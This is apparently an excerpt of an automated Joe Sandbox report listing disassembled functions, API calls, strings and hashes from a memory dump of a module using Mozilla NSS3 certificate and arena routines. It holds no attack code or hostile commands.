CERT_GetCertTimes.NSS3(?,?,?), ref: 6BA4CFF6
PR_GetCurrentThread.NSS3 ref: 6BA4CDFD

Part of subcall function 6BB09BF0: TlsGetValue.KERNEL32(?,?,?,6BB50A75), ref: 6BB09C07

PR_GetCurrentThread.NSS3 ref: 6BA4CE52
PR_SetError.NSS3(FFFFE014,00000000), ref: 6BA4D4C4
PR_SetError.NSS3(FFFFE014,00000000), ref: 6BA4D4E2
PR_GetCurrentThread.NSS3 ref: 6BA4D4EA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6BA4D515
PR_SetError.NSS3(FFFFE014,00000000), ref: 6BA4D52C
PR_GetCurrentThread.NSS3 ref: 6BA4D540
free.MOZGLUE(?), ref: 6BA4D567
CERT_DestroyCertificate.NSS3(00000000), ref: 6BA4D575
CERT_DestroyCertificate.NSS3(?), ref: 6BA4D584
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6BA4D592

Part of subcall function 6BA606A0: TlsGetValue.KERNEL32 ref: 6BA606C2
Part of subcall function 6BA606A0: EnterCriticalSection.KERNEL32(?), ref: 6BA606D6
Part of subcall function 6BA606A0: PR_Unlock.NSS3 ref: 6BA606EB

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: CurrentErrorThread$CertificateDestroyUtil$Cert$Value$Alloc_Arena_Timesmemcmp$ArenaCheckConstrainedCriticalEnterEqual_FindFreeIssuerItemsNamesPublicSectionTrustUnlockValidfreerealloc
String ID:
API String ID: 3754541784-0
Opcode ID: 39542941c3135ccfa969f59299e7276cfe7a2141e6ffdcf3b7cc94a278b18cbc
Instruction ID: 536f14860c03145d3771329f4920dce1f8b8b82204a4e68c4db73c8d50db2ba0
Opcode Fuzzy Hash: 39542941c3135ccfa969f59299e7276cfe7a2141e6ffdcf3b7cc94a278b18cbc
Instruction Fuzzy Hash: F652F771A48301ABEF008F68CD41B1F77E1AFC4718F14452CF99997262EB79E899CB52

Function 6BA909B0 Relevance: 66.8, APIs: 44, Instructions: 817memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,?,?,?,6BA91AD3), ref: 6BA909D5
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,?,6BA91AD3), ref: 6BA909E9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6BA90A18
PR_SetError.NSS3(00000000,00000000), ref: 6BA90A30
memcpy.VCRUNTIME140(?,00000000,00000020,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6BA90CC9
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6BA90D05
EnterCriticalSection.KERNEL32(?), ref: 6BA90D19
PR_Unlock.NSS3(?), ref: 6BA90D36
free.MOZGLUE(?), ref: 6BA90D75
TlsGetValue.KERNEL32 ref: 6BA90DA1
EnterCriticalSection.KERNEL32(?), ref: 6BA90DB5
PR_Unlock.NSS3(?), ref: 6BA90DEB
PORT_Alloc_Util.NSS3(?), ref: 6BA90DFF
PR_Unlock.NSS3(?), ref: 6BA90E37
free.MOZGLUE(?), ref: 6BA90E4E
PR_SetError.NSS3(00000000,00000000), ref: 6BA90E6A
memset.VCRUNTIME140(?,00000000,00000100), ref: 6BA90E9A
TlsGetValue.KERNEL32 ref: 6BA90F23
EnterCriticalSection.KERNEL32(?), ref: 6BA90F37
PR_SetError.NSS3(00000000,00000000), ref: 6BA90FC7

Part of subcall function 6BAEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6BAEC2BF

PR_Unlock.NSS3(?), ref: 6BA90FDE
TlsGetValue.KERNEL32 ref: 6BA90FFA
EnterCriticalSection.KERNEL32(?), ref: 6BA9100E
PR_Unlock.NSS3(?), ref: 6BA91050
PR_Unlock.NSS3(?), ref: 6BA91073
TlsGetValue.KERNEL32 ref: 6BA91087
EnterCriticalSection.KERNEL32(?), ref: 6BA9109B
PR_Unlock.NSS3(?), ref: 6BA910B8
free.MOZGLUE(?), ref: 6BA91113
PORT_Alloc_Util.NSS3(?), ref: 6BA91151
free.MOZGLUE(?), ref: 6BA911AB
TlsGetValue.KERNEL32 ref: 6BA91296
EnterCriticalSection.KERNEL32(?), ref: 6BA912AB
PR_Unlock.NSS3(?), ref: 6BA912D9
TlsGetValue.KERNEL32 ref: 6BA912F4
EnterCriticalSection.KERNEL32(?), ref: 6BA9130C
PR_Unlock.NSS3(?), ref: 6BA91340
TlsGetValue.KERNEL32 ref: 6BA91354
EnterCriticalSection.KERNEL32(?), ref: 6BA9136C
PR_Unlock.NSS3(?), ref: 6BA913A3
TlsGetValue.KERNEL32 ref: 6BA913BA
EnterCriticalSection.KERNEL32(?), ref: 6BA913CF
PR_Unlock.NSS3(?), ref: 6BA913FB

Part of subcall function 6BAEDD70: TlsGetValue.KERNEL32 ref: 6BAEDD8C
Part of subcall function 6BAEDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6BAEDDB4

PR_SetError.NSS3(FFFFE040,00000000), ref: 6BA9141E

Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307AD
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307CD
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6B9C204A), ref: 6BA307D6
Part of subcall function 6BA307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6B9C204A), ref: 6BA307E4
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,6B9C204A), ref: 6BA30864
Part of subcall function 6BA307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6BA30880
Part of subcall function 6BA307A0: TlsSetValue.KERNEL32(00000000,?,?,6B9C204A), ref: 6BA308CB
Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(?,?,6B9C204A), ref: 6BA308D7
Part of subcall function 6BA307A0: TlsGetValue.KERNEL32(?,?,6B9C204A), ref: 6BA308FB

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalSection$Enter$Errorfree$Alloc_Utilcalloc$Leavememcpymemset
String ID:
API String ID: 3136013483-0
Opcode ID: 241d7b02c1273f7938e3cc16f36810f8706acbc41826504992dbd20d1aaeec2e
Instruction ID: 8824fe7118acd6080e22519e8f3f51e4d641d5f5033727bc6d4cd00e98f8c533
Opcode Fuzzy Hash: 241d7b02c1273f7938e3cc16f36810f8706acbc41826504992dbd20d1aaeec2e
Instruction Fuzzy Hash: 7172B171C10214AFEF20AF24E8897AA7BB4FF05354F0905B9DC099B242E739E9D5DB91

Function 6BAA4840 Relevance: 63.4, APIs: 29, Strings: 7, Instructions: 351memorystringCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,00000000,?,?,6BA8601B,?,00000000,?), ref: 6BAA486F
PORT_ArenaAlloc_Util.NSS3(00000000,00000001,?,?,?,?,?,00000000), ref: 6BAA48A8
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,?,00000000), ref: 6BAA48BE
NSSUTIL_ArgSkipParameter.NSS3(?,?,?,?,?,00000000), ref: 6BAA48DE
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,00000000), ref: 6BAA48F5
NSSUTIL_ArgSkipParameter.NSS3(00000000,?,?,?,?,?,?,00000000), ref: 6BAA490A
PORT_ZAlloc_Util.NSS3(?,?,?,?,?,?,00000000), ref: 6BAA4919
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,00000000), ref: 6BAA493F
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6BAA4970
PORT_Alloc_Util.NSS3(00000001), ref: 6BAA49A0
strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6BAA49AD
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6BAA49D4
NSSUTIL_ArgFetchValue.NSS3(00000001,?), ref: 6BAA49F4
NSSUTIL_ArgDecodeNumber.NSS3(00000000), ref: 6BAA4A10
NSSUTIL_ArgParseSlotFlags.NSS3(slotFlags,00000000), ref: 6BAA4A27
NSSUTIL_ArgReadLong.NSS3(timeout,00000000,00000000,00000000), ref: 6BAA4A3D
NSSUTIL_ArgGetParamValue.NSS3(askpw,00000000), ref: 6BAA4A4F
PL_strcasecmp.NSS3(00000000,every), ref: 6BAA4A6C
PL_strcasecmp.NSS3(00000000,timeout), ref: 6BAA4A81
free.MOZGLUE(00000000), ref: 6BAA4AAB
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6BAA4ABE
PL_strncasecmp.NSS3(00000000,hasRootCerts,0000000C), ref: 6BAA4ADC
free.MOZGLUE(00000000), ref: 6BAA4B17
NSSUTIL_ArgGetParamValue.NSS3(rootFlags,00000000), ref: 6BAA4B33

Part of subcall function 6BAA4120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6BAA413D
Part of subcall function 6BAA4120: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6BAA4162
Part of subcall function 6BAA4120: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6BAA416B
Part of subcall function 6BAA4120: PL_strncasecmp.NSS3(6BAA4232,?,00000001), ref: 6BAA4187
Part of subcall function 6BAA4120: NSSUTIL_ArgSkipParameter.NSS3(6BAA4232), ref: 6BAA41A0
Part of subcall function 6BAA4120: isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6BAA41B4
Part of subcall function 6BAA4120: PL_strncasecmp.NSS3(00000000,0000003D,?), ref: 6BAA41CC
Part of subcall function 6BAA4120: NSSUTIL_ArgFetchValue.NSS3(6BAA4232,?), ref: 6BAA4203

PL_strncasecmp.NSS3(00000000,hasRootTrust,0000000C), ref: 6BAA4B53
free.MOZGLUE(00000000), ref: 6BAA4B94
free.MOZGLUE(?), ref: 6BAA4BA7
free.MOZGLUE(00000000), ref: 6BAA4BB7
isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6BAA4BC8

Strings

timeout, xrefs: 6BAA4A38, 6BAA4A7B
hasRootTrust, xrefs: 6BAA4B4D
every, xrefs: 6BAA4A66
rootFlags, xrefs: 6BAA4AB9, 6BAA4B2E
hasRootCerts, xrefs: 6BAA4AD6
slotFlags, xrefs: 6BAA4A22
askpw, xrefs: 6BAA4A4A

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: isspace$Valuefree$L_strncasecmp$Alloc_ParamParameterSkipUtil$FetchL_strcasecmpstrlen$ArenaDecodeFlagsLongNumberParseReadSlotmemsetstrcpystrncpy
String ID: askpw$every$hasRootCerts$hasRootTrust$rootFlags$slotFlags$timeout
API String ID: 3791087267-1256704202
Opcode ID: 999c6968c2cefb3af5e3bc3f90a47a33c9fe1f107ceaf1262371013e2aa16a87
Instruction ID: c7c861df743af0a0163ab0a7107b8ad5167ce354de632139316b81c1377d3c7f
Opcode Fuzzy Hash: 999c6968c2cefb3af5e3bc3f90a47a33c9fe1f107ceaf1262371013e2aa16a87
Instruction Fuzzy Hash: 3BC1E574D042559FEF109F789D81BBE7BA8AF06304F080069E895A7241EF29E955C7B1

Function 6BA88A30 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 393memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6BA88A58

Part of subcall function 6BAA0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6BA487ED,00000800,6BA3EF74,00000000), ref: 6BAA1000
Part of subcall function 6BAA0FF0: PR_NewLock.NSS3(?,00000800,6BA3EF74,00000000), ref: 6BAA1016
Part of subcall function 6BAA0FF0: PL_InitArenaPool.NSS3(00000000,security,6BA487ED,00000008,?,00000800,6BA3EF74,00000000), ref: 6BAA102B

PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6BA88AC6
PORT_ArenaAlloc_Util.NSS3(00000000,00000044), ref: 6BA88ADF
SECITEM_CopyItem_Util.NSS3(00000000,00000004,?), ref: 6BA88B19
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6BA88B2D
PK11_GenerateRandom.NSS3(00000000,00000010), ref: 6BA88B49
SEC_ASN1EncodeInteger_Util.NSS3(00000000,00000010,00000000), ref: 6BA88B61
SEC_ASN1EncodeInteger_Util.NSS3(00000000,0000001C), ref: 6BA88B83
SECOID_SetAlgorithmID_Util.NSS3(00000000,-0000002C,?,00000000), ref: 6BA88BA0
PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6BA88BF0
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6BA88BF9
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6BA88C13
HASH_ResultLenByOidTag.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6BA88C3A
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6BA88CA7
PR_SetError.NSS3(FFFFE006,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6BA88CC4
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6BA88D12
PORT_FreeArena_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6BA88D20
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6BA88D40
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6BA88D99
PR_SetError.NSS3(FFFFE006,00000000), ref: 6BA88DBF
PORT_ArenaAlloc_Util.NSS3(00000123,00000018), ref: 6BA88DD5
SEC_ASN1EncodeItem_Util.NSS3(?,?,00000000,6BB6D864), ref: 6BA88E39

Part of subcall function 6BA9F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6BA9F0C8
Part of subcall function 6BA9F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6BA9F122

SECOID_SetAlgorithmID_Util.NSS3(?,?,?,?), ref: 6BA88E5B

Part of subcall function 6BA9BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6BA4E708,00000000,00000000,00000004,00000000), ref: 6BA9BE6A
Part of subcall function 6BA9BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6BA504DC,?), ref: 6BA9BE7E
Part of subcall function 6BA9BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6BA9BEC2

SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6BB6D8C4), ref: 6BA88E94
SECOID_SetAlgorithmID_Util.NSS3(?,00000000,00000000,?), ref: 6BA88EAC
PORT_ZAlloc_Util.NSS3(00000018), ref: 6BA88EBA
SECOID_CopyAlgorithmID_Util.NSS3(00000000,00000000,00000000), ref: 6BA88ECC
SECITEM_ZfreeItem_Util.NSS3(-0000000C,00000000), ref: 6BA88EE1
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6BA88EF4
free.MOZGLUE(00000000), ref: 6BA88EFD
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6BA88F11
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6BA88F1C

Strings

tFVPj, xrefs: 6BA88EC4

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Util$Arena_Item_$Free$AlgorithmAlloc_ArenaCopyEncodeFindTag_$ErrorZfree$Integer_$GenerateHashInitK11_LockPoolRandomResultTypecallocfree
String ID: tFVPj
API String ID: 2709086113-199373283
Opcode ID: 57886133f4c48470d435aeb87c8afd46686e6f9f259e8b70c51f3d61e54953d4
Instruction ID: 50cf2701bd78d7abd9dc36e9780729fde59e658a6483307f0f44d9b15027c685
Opcode Fuzzy Hash: 57886133f4c48470d435aeb87c8afd46686e6f9f259e8b70c51f3d61e54953d4
Instruction Fuzzy Hash: EED120B5904300ABEF109F34DD81BAAB7E9EF55304F044969EC58C7681FB3DD9D48AA2

Function 6BA99BB0 Relevance: 49.5, APIs: 27, Strings: 1, Instructions: 452stringCOMMON

Download Yara Rule

APIs

PORT_ArenaGrow_Util.NSS3(83000070,?,?,00000000,?,?,?,?,6BA92403,00000010,?,6BA9990F,0000003B,abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-._~:[]@!$'()*+,=&,?,00000000), ref: 6BA99C18
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6BA92403,00000010,?,6BA9990F,0000003B,abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-._~:[]@!$'()*+,=&,?,00000000,00000010,?,6BA92403), ref: 6BA99C67
PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,?,?,?,?,?,6BA92403,00000010,?,6BA9990F,0000003B,abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-._~:[]@!$'()*+,=&), ref: 6BA99CA3
memcpy.VCRUNTIME140(?,?,00000000,?,?,?,?,?,6BA92403,00000010,?,6BA9990F,0000003B,abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-._~:[]@!$'()*+,=&,?,00000000), ref: 6BA99CEA
PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,?,?,?,?,?,?,?,?,6BA92403,00000010,?,6BA9990F), ref: 6BA99D26
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,6BA92403,00000010,?,6BA9990F,0000003B), ref: 6BA99D70
strchr.VCRUNTIME140(6BA9990F,?), ref: 6BA99DA4
PORT_ArenaGrow_Util.NSS3(6BA92403,?,00000000,?), ref: 6BA99DE7

Part of subcall function 6BAA1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6BA4895A,00000000,?,00000000,?,00000000,?,00000000,?,6BA3F599,?,00000000), ref: 6BAA136A
Part of subcall function 6BAA1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6BA4895A,00000000,?,00000000,?,00000000,?,00000000,?,6BA3F599,?,00000000), ref: 6BAA137E
Part of subcall function 6BAA1340: PL_ArenaGrow.NSS3(?,6BA3F599,?,00000000,?,6BA4895A,00000000,?,00000000,?,00000000,?,00000000,?,6BA3F599,?), ref: 6BAA13CF
Part of subcall function 6BAA1340: PR_Unlock.NSS3(?,?,6BA4895A,00000000,?,00000000,?,00000000,?,00000000,?,6BA3F599,?,00000000), ref: 6BAA145C

PR_snprintf.NSS3(00000010,00000004,%%%02X,?), ref: 6BA99E0D
PORT_ArenaGrow_Util.NSS3(6BA92403,?,00000000,?), ref: 6BA99E52
realloc.MOZGLUE(?,?), ref: 6BA99E76
realloc.MOZGLUE(?,?), ref: 6BA99EA5
PORT_ArenaGrow_Util.NSS3(6BA92403,00000000,?,00000001,?,?,?,?,?,?,?,?,?,?,?,6BA92403), ref: 6BA99F15
realloc.MOZGLUE(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6BA92403), ref: 6BA99F4A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6BA92403), ref: 6BA99F6A
PORT_ArenaGrow_Util.NSS3(00000000,?,00000000,-00000001), ref: 6BA99FAB
realloc.MOZGLUE(?,-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BA99FC2
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6BA99FE2
free.MOZGLUE(?), ref: 6BA99FFA
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6BA9A021
free.MOZGLUE(?), ref: 6BA9A040
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6BA92403), ref: 6BA9A052
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,6BA92403,00000010,?,6BA9990F,0000003B,abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-._~:[]@!$'()*+,=&), ref: 6BA9A078
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,6BA92403,00000010,?,6BA9990F,0000003B,abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-._~:[]@!$'()*+,=&,?,00000000,00000010), ref: 6BA9A08D

Strings

%%%02X, xrefs: 6BA99E02

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: Arena$Grow_Util$Errorrealloc$strlen$freememcpy$CriticalEnterGrowR_snprintfSectionUnlockValuestrchr
String ID: %%%02X
API String ID: 4704135-3569721977
Opcode ID: c98cd49208a94df90ab73187e67516ce71f6aceee0c374f9e35584b8de6c6d08
Instruction ID: a00c5568a7c0ba8c4f25912e442ef0395476e1d47bd436e0eee2b0db5cfbf6c4
Opcode Fuzzy Hash: c98cd49208a94df90ab73187e67516ce71f6aceee0c374f9e35584b8de6c6d08
Instruction Fuzzy Hash: 8CE10870E10212BFEF10EF69D9806AEF7F6BF45314F148169D829A7201E739E891D7A0

Function 6BA699C0 Relevance: 47.7, APIs: 25, Strings: 2, Instructions: 457stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6BA69A6D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(-000000F9), ref: 6BA69A89
PORT_Alloc_Util.NSS3(68006A0F), ref: 6BA69AA2
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6BA69AB9
memcpy.VCRUNTIME140(00000001,?,FFFFD003), ref: 6BA69AD4
PR_SetError.NSS3(FFFFE005,00000000,?,?,?,?,81C189C6,?,?,?,6BA69F85,81C189C6,00000000,00000000,?,6BA53C7B), ref: 6BA69B02
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6BA69BC5

Part of subcall function 6BA5B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6BA61397,00000000,?,6BA5CF93,5B5F5EC0,00000000,?,6BA61397,?), ref: 6BA5B1CB
Part of subcall function 6BA5B1A0: free.MOZGLUE(5B5F5EC0,?,6BA5CF93,5B5F5EC0,00000000,?,6BA61397,?), ref: 6BA5B1D2

PR_SetError.NSS3(FFFFE001,00000000), ref: 6BA69BDE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6BA69C29
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6BA69C38
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6BA69C49
free.MOZGLUE(00000000), ref: 6BA69C5A
PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6BA69C9D
PK11_IsLoggedIn.NSS3(00000000,00000000), ref: 6BA69CCE
free.MOZGLUE(00000000), ref: 6BA69CFC

Part of subcall function 6BA611C0: PR_NewLock.NSS3 ref: 6BA61216

CERT_DestroyCertificate.NSS3(00000000), ref: 6BA69D05
CERT_IsCACert.NSS3(00000000,?), ref: 6BA69D17
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6BA69E53
SECKEY_DestroyPublicKey.NSS3(00000000), ref: 6BA69E65
TlsGetValue.KERNEL32 ref: 6BA69E89
EnterCriticalSection.KERNEL32(6BA53C7B), ref: 6BA69E9D
PR_Unlock.NSS3 ref: 6BA69EB5
free.MOZGLUE(81C189C6), ref: 6BA69EC7
free.MOZGLUE(81C189C6), ref: 6BA69ED7
PK11_DoesMechanism.NSS3(00000000,00001011), ref: 6BA69EEF

Part of subcall function 6BA91560: TlsGetValue.KERNEL32(00000000,?,6BA60844,?), ref: 6BA9157A
Part of subcall function 6BA91560: EnterCriticalSection.KERNEL32(?,?,?,6BA60844,?), ref: 6BA9158F
Part of subcall function 6BA91560: PR_Unlock.NSS3(?,?,?,?,6BA60844,?), ref: 6BA915B2

Strings

ID , xrefs: 6BA69B64
Cert, xrefs: 6BA69B6B

Memory Dump Source

Source File: 00000000.00000002.1826427612.000000006B9C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6B9C0000, based on PE: true

Associated: 00000000.00000002.1826403663.000000006B9C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826849359.000000006BB5F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826942144.000000006BB9E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1826978132.000000006BB9F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827018980.000000006BBA0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1827055477.000000006BBA5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6b9c0000_file.jbxd

Similarity

API ID: free$strlen$Alloc_CriticalDestroySectionUtilmemcpy$ArenaEnterErrorK11_PublicUnlockValue$CertCertificateDeleteDoesLockLoggedMechanism
String ID: ID $Cert
API String ID: 249077162-1549779482
Opcode ID: ccc46f7778b5ee096e30e5bb44bbb555e71017060b94af5cb5ba66bcc8aae8db
Instruction ID: 24066ef7c2451107f5e460198c5b2a2654930d41e6f502176e956d755bfe9265
